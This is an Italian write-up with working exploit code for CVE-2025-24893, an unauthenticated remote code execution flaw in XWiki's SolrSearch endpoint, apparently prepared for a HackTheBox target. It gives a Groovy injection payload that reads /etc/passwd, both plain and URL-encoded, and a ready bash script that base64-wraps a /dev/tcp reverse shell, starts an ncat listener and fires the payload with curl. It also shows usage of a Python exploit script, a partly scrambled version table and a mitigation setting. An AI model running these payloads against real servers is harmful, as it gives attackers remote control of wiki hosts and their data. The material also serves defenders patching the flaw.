
CVE-2025-24893 è una vulnerabilità critica di remote code execution (RCE) non autenticata in XWiki, una popolare piattaforma wiki enterprise open-source.
SolrSearch (interfaccia XWiki)L'endpoint /xwiki/bin/get/Main/SolrSearch concatena l'input non attendibile text=
direttamente in un template Freemarker.
Chiudendo prematuramente il template e aprendo un nuovo blocco {{groovy}} … {{/groovy}},
un attaccante può eseguire codice Groovy arbitrario senza autenticazione.
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch dovrebbe incorporare il testo fornito come contenuto semplice, ma il
gestore della macro non riesce a fare l'escaping di }}}, quindi accade quanto segue:
}}} chiude il blocco Freemarker corrente. {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false forza l'esecuzione sincrona (funziona anche per gli ospiti).Una PoC minimale che stampa /etc/passwd:
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
Variante codificata in URL (spazi → %20, parentesi → %7B/%7D, ecc.):
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| Ramo | Corretta in | Vulnerabili ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10 (e tutte le 15.9 / 15.8 …) |
(fonte: advisory OffSec e XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. reverse shell a una riga
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (su una sola riga)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. avvolgimento nella macro Groovy
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. codifica URL
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# avvia il listener
sudo ncat -lvnp 4444
# attiva l'exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py è incluso in exploit/ (vedi blocco di codice qui sotto).
python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>
dove
<TARGET URL> - URL comprensiva di http:// o https://
(usa -c "id" per eseguire un comando arbitrario invece di una shell)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
Ricerca e PoC: DeX1d
Disclaimer: Solo per uso didattico. Eseguire questo exploit contro sistemi che non possiedi è illegale.
| 14.x LTS | 14.10.17 | 14.10.16 |
| 13 / 12 | Non mantenute – tutte rimangono vulnerabili |